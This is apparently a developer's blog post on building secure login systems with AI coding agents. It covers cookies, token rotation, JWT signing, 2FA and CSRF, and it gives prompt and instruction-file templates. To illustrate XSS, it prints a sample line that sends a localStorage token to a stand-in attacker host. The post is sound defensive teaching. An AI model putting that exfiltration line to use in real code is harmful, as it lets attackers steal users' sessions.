"Build me an app with login."
It's one of the most common prompts people give to coding agents, and it almost always "works". You get a form, a /login endpoint, a JWT, a protected page. The demo runs and you ship.
Then you open DevTools → Application → Local Storage and find this:
localStorage.setItem("token", data.accessToken); That one line means any XSS vulnerability anywhere in your app gives an attacker your users' sessions.
This isn't a bug in the model. The agent did what you asked, in the shortest way it knows. Most auth tutorials on the internet use this pattern, so that's what you get by default. An AI agent treats security as a requirement, not a default. If you don't specify it, you don't get it.
This post covers two things:
- What a secure authentication baseline looks like in 2026, and why each piece matters.
- How to ask your agent for it so you get it every time without repeating yourself.
Part 1: What the agent builds when you don't ask
Here's what "app with login" usually produces when nothing else is specified:
| Shortcut the agent takes | Why it's a problem |
|---|---|
Token in localStorage / sessionStorage | Readable by any JavaScript on the page. One XSS = token exfiltrated. |
| One long-lived JWT (hours or days), no refresh | A stolen token keeps working until it expires. Logout doesn't revoke anything. |
HS256 with a hard-coded secret ("supersecret") | Anyone with the secret can mint tokens. It often ends up committed to git. |
jwt.decode() or jwt.verify() without pinned algorithms | Opens the door to alg: none and algorithm confusion attacks. |
No rate limiting on /login | Credential stuffing and brute force cost nothing. |
| "Invalid password" vs "User not found" | User enumeration. |
| No 2FA | A leaked password is a full account takeover. |
| No CSP or security headers | Nothing limits the impact of an XSS. |
None of these show up in a demo. All of them show up in a pentest.
Why localStorage is the big one
localStorage and sessionStorage are available to every script that runs on your origin. That includes your code, every npm dependency in your bundle, every third-party script (analytics, chat widgets, A/B testing) and any script an attacker manages to inject.
The XSS doesn't even need to be in the login page. A Markdown renderer that doesn't sanitize, a compromised dependency, or a dangerouslySetInnerHTML in a comments component can all run code like this:
fetch("https://attacker.example/steal?t=" + localStorage.getItem("token")); Now the attacker has a bearer token they can use from their own machine, for as long as it stays valid.
An HttpOnly cookie is invisible to JavaScript, so document.cookie can't read it and that exfiltration path is gone.
Being honest about the limits:
HttpOnlydoesn't make XSS harmless. Injected script can still send requests from the victim's browser while the page is open. What it prevents is token theft and persistence, where the attacker walks away with a credential. That's why cookies come together with a strict Content Security Policy, short token lifetimes and output escaping. It's defense in depth, not one silver bullet.
Part 2: The secure authentication baseline
This is the baseline I use on every project with authentication. Each item answers one question: "How would I exploit this?"
1. Tokens live in hardened cookies, never in web storage
// Express example res.cookie("__Host-access_token", accessToken, { httpOnly: true, // invisible to JavaScript, so XSS can't read it secure: true, // HTTPS only sameSite: "strict", // not sent on cross-site requests ("lax" if you have a reason) path: "/", // required by the __Host- prefix maxAge: 10 * 60 * 1000, // 10 minutes }); -
HttpOnly: JavaScript can't read the token. -
Secure: never sent over plain HTTP. -
SameSite=Strict(orLaxwith a reason): main defense against CSRF. -
__Host-prefix: the browser enforcesSecure,Path=/and noDomain, so a subdomain can't overwrite your cookie.
Rule of thumb: no tokens, session data or sensitive information in localStorage, sessionStorage or IndexedDB. Ever.
2. Short-lived access token + rotating refresh token
- Access token: 5 to 15 minutes. If it leaks, it expires soon.
- Refresh token: opaque, random (CSPRNG), stored hashed in the database, in its own
HttpOnlycookie scoped to the refresh path. - Rotation: every refresh issues a new refresh token and invalidates the old one.
- Reuse detection: if an already-used refresh token shows up again, someone stole it. Revoke the whole token family and force a new login.
- Revocation on logout, on password change and on 2FA reset.
This is what makes "logout" actually log people out.
3. Asymmetric token signing (RS256 / ES256 / EdDSA)
With HS256, the key that verifies a token can also create one. Every service that validates tokens holds a secret that can mint admin tokens.
With asymmetric signing:
- The private key lives only in the auth service, which signs tokens.
- Every other service gets the public key, usually from a JWKS endpoint, and can only verify.
- Keys carry a
kid, so you can rotate them without downtime.
And always verify strictly:
import { createRemoteJWKSet, jwtVerify } from "jose"; const jwks = createRemoteJWKSet(new URL("https://auth.example.com/.well-known/jwks.json")); const { payload } = await jwtVerify(token, jwks, { algorithms: ["ES256"], // pinned: rejects "none" and algorithm confusion issuer: "https://auth.example.com", audience: "api.example.com", // exp and nbf are checked by default }); Never decode() without verifying, and never let the token header pick the algorithm.
Not using JWTs? Server-side sessions with an opaque session ID in a
__Host-cookie are a perfectly good choice, and often a simpler one. The cookie rules, expiry, rotation on login and revocation still apply.
4. Two-factor authentication
Passwords leak. 2FA is what keeps a leaked password from becoming a breach.
- Passkeys / WebAuthn: the best option. Phishing-resistant by design, because the credential is bound to your domain.
- TOTP (authenticator apps): a solid, widely supported fallback. Encrypt the TOTP secret at rest.
- Recovery codes: single use, stored hashed like passwords.
- Avoid SMS as the only second factor if you can (SIM swapping).
- Rate limit the 2FA step too. A 6-digit code can be brute-forced if you don't.
5. Passwords: Argon2id (or bcrypt), nothing else
- Hash with Argon2id (or bcrypt with a reasonable cost). Never MD5, SHA-256 or anything reversible.
- Compare with a constant-time function from the library.
- Optional but valuable: reject passwords that appear in known breaches.
6. CSRF protection, because cookies bring it back
Once auth is in cookies, the browser sends them automatically, and that's exactly what CSRF abuses. On every state-changing route (POST/PUT/PATCH/DELETE):
-
SameSite=Strict/Laxcookies, plus - a CSRF token (synchronizer or double-submit), or strict
Originheader checking.
7. Rate limiting, lockout and anti-enumeration
- Rate limit by IP and by account on login, 2FA and password recovery.
- Progressive lockout (increasing delays) instead of permanent locks that attackers can use to lock users out.
- Identical responses and timing for "user doesn't exist" and "wrong password", including on sign-up and "forgot password".
8. Security headers that contain the blast radius
- Content-Security-Policy without
unsafe-inline/unsafe-eval. This is your main XSS mitigation. Strict-Transport-SecurityX-Content-Type-Options: nosniffReferrer-Policy: strict-origin-when-cross-origin-
frame-ancestors 'none'(clickjacking) -
Cache-Control: no-storeon authenticated responses - CORS restricted to explicit origins, never
*with credentials.
9. Logs that help you without leaking anything
Log security events (logins, failures, lockouts, 2FA changes, refresh token reuse) without logging passwords, tokens or personal data, and sanitize log input to prevent log injection.
Part 3: How to ask your agent for all of this
Knowing the baseline doesn't help much if you have to type it every time. Here's what works for me in practice.
Bad prompt vs good prompt
❌ What most people write:
Create a Next.js app with login and a dashboard. ✅ What actually gets you a secure result:
Create a Next.js app with login and a dashboard. Authentication requirements (non-negotiable): - Never store tokens or session data in localStorage, sessionStorage or IndexedDB. - Access token (10 min) and refresh token in separate HttpOnly, Secure, SameSite=Strict cookies with the __Host- prefix. - Refresh token rotation with reuse detection; revoke on logout and password change. - Sign JWTs with ES256 (private key only in the auth service, public key via JWKS, key rotation by kid). Pin algorithms and validate exp, nbf, iss and aud. - Passwords hashed with Argon2id. - 2FA with TOTP and passkeys (WebAuthn); recovery codes stored hashed. - CSRF protection on all state-changing routes. - Rate limiting + progressive lockout on login, 2FA and password reset. - Identical responses for unknown user and wrong password. - Strict CSP (no unsafe-inline), HSTS, nosniff, frame-ancestors 'none'. Before writing code: list the threat model (assets, attack surfaces, trust boundaries) and ask me about anything ambiguous. After writing code: review it as a pentester and report residual risks. The second prompt isn't "prompt engineering magic". It's just a spec. Agents are very good at following specs and very bad at guessing the ones you didn't write.
Make it permanent: put the rules in the agent's instruction file
Every serious coding agent reads a persistent instructions file:
| Agent | File |
|---|---|
| Claude Code | CLAUDE.md (project) or ~/.claude/CLAUDE.md (global) |
| Cursor | .cursor/rules/*.mdc |
| GitHub Copilot | .github/copilot-instructions.md |
| Codex / many others | AGENTS.md |
Write your security rules there once and they apply to every task, including the ones where you forgot to mention security. This is a trimmed version of what I keep in my global config:
## Security (mandatory) - At the start of every new project with authentication, ASK ME: 1. Should we use asymmetric tokens (RS256/ES256/EdDSA with JWKS rotation)? 2. Should we require 2FA (TOTP, WebAuthn/passkeys)? - Forbidden: HTTP Basic Auth, plain-text password comparison, static tokens, sessions without expiry, and storing tokens or sensitive data in localStorage/sessionStorage/IndexedDB. - Required: HttpOnly + Secure + SameSite=Strict cookies (prefer __Host-), short-lived access token + refresh rotation with reuse detection, CSRF protection, Argon2id/bcrypt, rate limiting with progressive lockout. - Never use innerHTML / dangerouslySetInnerHTML / v-html with unsanitized data. - Strict CSP (no unsafe-inline/unsafe-eval), HSTS, nosniff, frame-ancestors. - Before delivering: review the code as a pentester and report residual risks. Two details make a big difference:
- "Ask me first" rules. Forcing the agent to ask about asymmetric tokens and 2FA before it writes code turns security into an explicit decision instead of a silent default.
- "Forbidden" lists. Agents respect clear prohibitions much more reliably than vague goals like "make it secure".
Ask for tests that attack your own app
Don't just ask for "tests". Ask for tests that reproduce attacks, so the defenses can't silently regress in a future refactor (one the agent might do itself):
Write security tests that prove: - No auth token is ever readable via document.cookie, localStorage or sessionStorage. - A token signed with alg "none" or with HS256 using the public key is rejected. - An expired token, or one with the wrong iss/aud, is rejected. - Reusing a rotated refresh token revokes the whole session family. - POST requests without a valid CSRF token / Origin are rejected. - The 6th failed login in a minute returns 429. - "Unknown user" and "wrong password" return the same status and body. - User A cannot access User B's resources by changing an ID (IDOR). Close the loop: verify, don't trust
The agent's own "I implemented secure auth" is not evidence. Check for yourself:
- DevTools → Application → Local Storage / Session Storage: they should be empty of anything auth-related.
- DevTools → Application → Cookies:
HttpOnly✓,Secure✓,SameSite✓,__Host-prefix. -
grep -rn "localStorage\|sessionStorage" src/on the frontend. - Run a security review pass (e.g.
/security-reviewin Claude Code), plus Semgrep/CodeQL andnpm auditin CI. - Check your headers with securityheaders.com or OWASP ZAP.
Takeaway
AI agents follow the requirements you give them. Leave security out of the prompt and you get the version from the average tutorial. Put it in the spec and you get secure code with the same effort.
So:
- Know the baseline: HttpOnly cookies, short tokens with rotation, asymmetric signing, 2FA, Argon2id, CSRF, rate limiting, CSP.
- Write it down once in your agent's instruction file.
- Make the agent ask before deciding on auth, and attack its own code before it's done.
- Verify in DevTools and CI.
The fastest way to build software in 2026 is with an AI agent. Making it secure is still on you, mostly through the specs you write.
I'm Diogo Soares, a Staff AI Engineer building AI-powered products. If this was useful, let's connect on LinkedIn or check out diogosoares.dev.
